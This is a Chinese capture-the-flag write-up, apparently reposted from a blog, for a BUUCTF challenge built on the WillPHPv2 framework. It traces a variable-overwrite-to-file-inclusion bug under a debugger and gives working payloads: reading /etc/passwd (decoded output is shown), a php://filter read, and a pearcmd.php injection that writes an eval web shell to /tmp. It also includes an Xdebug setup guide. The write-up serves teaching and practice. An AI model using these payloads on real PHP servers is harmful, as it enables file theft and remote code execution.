一、WillPHPv2代码审计-[变量覆盖]-[文件包含]-[任意文件读取漏洞]-[pearcmd裸文件包含]

本文阅读 6 分钟
首页 代码,C/C#/C++ 正文

img

一、PHPSTORM框架调试

第一步:登录buuctf,打开[HXBCTF 2021]easywill题目的容器环境 img

第二步:进入打开的的题目链接,发现有一段代码提示,以及两个选项,一个使开发手册,一个是下载新版本。(经过查看html源码没有提示,也没有www.zip和robots.txt,但是很明显发现这个是ThinkPHP、WillPHPv2版本的框架,因此我们之后打算下载PHP源码,然后放到PHPSTORM进行Xdebug框架调试) 代码提示给出的信息:一个assign函数、一个view()函数 img 第三步:点击开发手册,发现assign函数的功能 img 第四步:点击下载新版本,下载下来,放到本地环境中 img img 第五步(可以不要):在appcontrollerIndexController.php里面添加如下内容,尽量还原题目,就是给一个提示 img img 第六步:开始在PHPSTORM调试 1、设置断点,传入参数 设置断点传入参数的方法: img 传入参数的姿势: img 传入参数的结果: img 2、键入F7,步入:很明显,这个步入就是进入了assign函数,这里的wiphpView::asign()中的双冒号指的是所属空间 获得信息:assign()函数处于View类中 img

3、从上一步得知,我们需要跳转到assign函数所处的View类上,因此在上一步按住ctrl+点击View,发现在View.php里面,assign函数会把value参数的值赋值给vars数组的name键,这里就好像符合了assign在使用手册里面的功能了。 获得信息:assign函数会把value参数的值赋值给vars数组的name键 img 4、经过fetch函数–>render函数–>renderTo函数,最终停在了Template.php页面,发现了【变量覆盖+文件包含】构成的【任意文件读取漏洞】 extract($vars)的功能是:把vars数组的键值对,转换为变量和变量值的对应关系,如果该数组里的键与已存在的变量同名,则覆盖已有变量。所以我们构造可以传入的键值对vars[cfile]=任意可读文件,也就是传入?name=cfile&value=任意可读文件,我们就可以让后面的include $cfile成功的包含我们想要读取的可读文件。 img 5、本地添加一个测试文件test.txt,用来读取 img 6、在变量覆盖漏洞处打上断点,开启调试,按下两次F9恢复程序,传入参数,如下所示: img 传入参数后的phpstorm页面 img

7、键入F7步入,就成功的跳转到了test.txt img 第七步:总结漏洞的利用姿势:

第八步:在BUUCTF里面测试漏洞 1、我们在buuctf里面打开的题目链接里面,测试上述漏洞。由于靶机是linux操作系统,所以我们可以读取已有的文件/etc/passwd。 所以传入右边的参数,利用文件包含读取文件:index.php?name=cfile&value=/etc/passwd

img

2、也可以传入右边的参数,利用文件包含读取文件的源码:index.php?name=cfile&value=php://filter/convert.base64-encode/resource=/etc/passwd

img 解码内容: root❌0:0:root:/root:/bin/ash bin❌1:1:bin:/bin:/sbin/nologin daemon❌2:2:daemon:/sbin:/sbin/nologin adm❌3:4:adm:/var/adm:/sbin/nologin lp❌4:7:lp:/var/spool/lpd:/sbin/nologin sync❌5:0:sync:/sbin:/bin/sync shutdown❌6:0:shutdown:/sbin:/sbin/shutdown halt❌7:0:halt:/sbin:/sbin/halt mail❌8:12:mail:/var/spool/mail:/sbin/nologin news❌9:13:news:/usr/lib/news:/sbin/nologin uucp❌10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator❌11:0:operator:/root:/sbin/nologin man❌13:15👨/usr/man:/sbin/nologin postmaster❌14:12:postmaster:/var/spool/mail:/sbin/nologin cron❌16:16:cron:/var/spool/cron:/sbin/nologin ftp❌21:21::/var/lib/ftp:/sbin/nologin sshd❌22:22:sshd:/dev/null:/sbin/nologin at❌25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid❌31:31:Squid:/var/cache/squid:/sbin/nologin xfs❌33:33:X Font Server:/etc/X11/fs:/sbin/nologin games❌35:35:games:/usr/games:/sbin/nologin postgres❌70:70::/var/lib/postgresql:/bin/sh cyrus❌85:12::/usr/cyrus:/sbin/nologin vpopmail❌89:89::/var/vpopmail:/sbin/nologin ntp❌123:123:NTP:/var/empty:/sbin/nologin smmsp❌209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest❌405💯guest:/dev/null:/sbin/nologin nobody❌65534:65534:nobody:/:/sbin/nologin www-data❌82:82:Linux User,:/home/www-data:/sbin/nologin nginx❌100:101:nginx:/var/lib/nginx:/sbin/nologin

二、pearcmd裸文件包含

1、裸文件包含的利用背景:不需要任何的配置docker默认有以下的漏洞

2、pearcmd.php命令通过readPHPArgv函数如何读取参数:

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

4、由于pearcmd命令读取参数的时候,可以从$ _SERVER[argv]中读取,$ _SERVER[argv]又可以从get请求字符串中读取 payload:

?+config-create+/&name=cfile&value=/usr/loca;/lib/php/pearcmd.php&/<?=eval($_POST[c]);?>+/tmp/test.php

整理:

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[c]);?>+/tmp/shell.php

5、在BUUCTF的题目链接中测试payload img6、Brupsuite传入payload,利用漏洞寻找并获取flag信息 img img img img 7、提交动态Flag:flag{ef9daf67-a65f-4b93-b13d-1d31e64e23a5}

附:怎么配置phpstorm+phpstudy+xdebug远程调试

注意:配置一个假的远程调试,我们就把源码放到本机(也就是127.0.0.1)的网站根目录WWW下的exp/willphpv2目录下


第一步:访问https://xdebug.org/wizard,把phpinfo的内容贴进去,会返回我们可以使用的对应版本的xdebug
第二步:访问https://xdebug.org/download/historical,下载对应版本的xdebug(比如5.6.27版本的php对应的xdebug文件是php_xdebug-2.5.5-5.6-vc11-nts.dll)
第三步:把我们下载的xdebug文件放入,相应php版本的ext目录下,也就是放到该目录下L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext
第四步:打开phpstudy的php相应版本的php.ini配置文件,在最后输入以下内容:
[XDebug]
zend_extension="L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug-2.5.5-5.6-vc11-nts.dll"
xdebug.remote_enable = On
xdebug.remote_handler = dbgp
xdebug.remote_host= 127.0.0.1
xdebug.remote_port = 9264
xdebug.idekey = qwsn
xdebug.profiler_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
第五步:配置phpstorm的Debug/DBGp/Servers
点击file->点击settings->点击languages & frameworks->点击PHP->修改CLI Interpreter为PHP5.6.27版本
接着点击Debug->填入Debug port:9264(这个端口与php.ini里的端口对应)
接着点击DBGp Proxy->填入IDE Key:qwsn(这里与php.ini里的key对应)->填入Host:127.0.0.1(这里与php.ini里的对应)->填入Port:9264(与php.ini里的对应)
接着点击Servers->点击+添加->填入Name:local_server(只是一个服务器名字,随便填写)->填入Host![在这里插入图片描述](https://img-blog.csdnimg.cn/bae48e3e785042c6b81c999e7a57d0f9.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
:127.0.0.1(这里填的是本地phpstudy的服务器IP)->填入Port:80(注意,这个是本地phpstudy网站的默认端口)->Debugger选择Xdebug
最后依次点击->apply->ok
第六步:配置一个PHP Web Page
点击run->点击edit configurations->点击左上角的+号->选择PHP Web Page
->填入名字willphpv2(随便)->Server选择刚刚配置的local_server->Start URL选择我们网站根目录下的/exp/willphpv2/(因为我把willphpv2源码放到了网站根目录下的exp/willphpv2里面)
->依次点击apply和ok
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/121894691
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复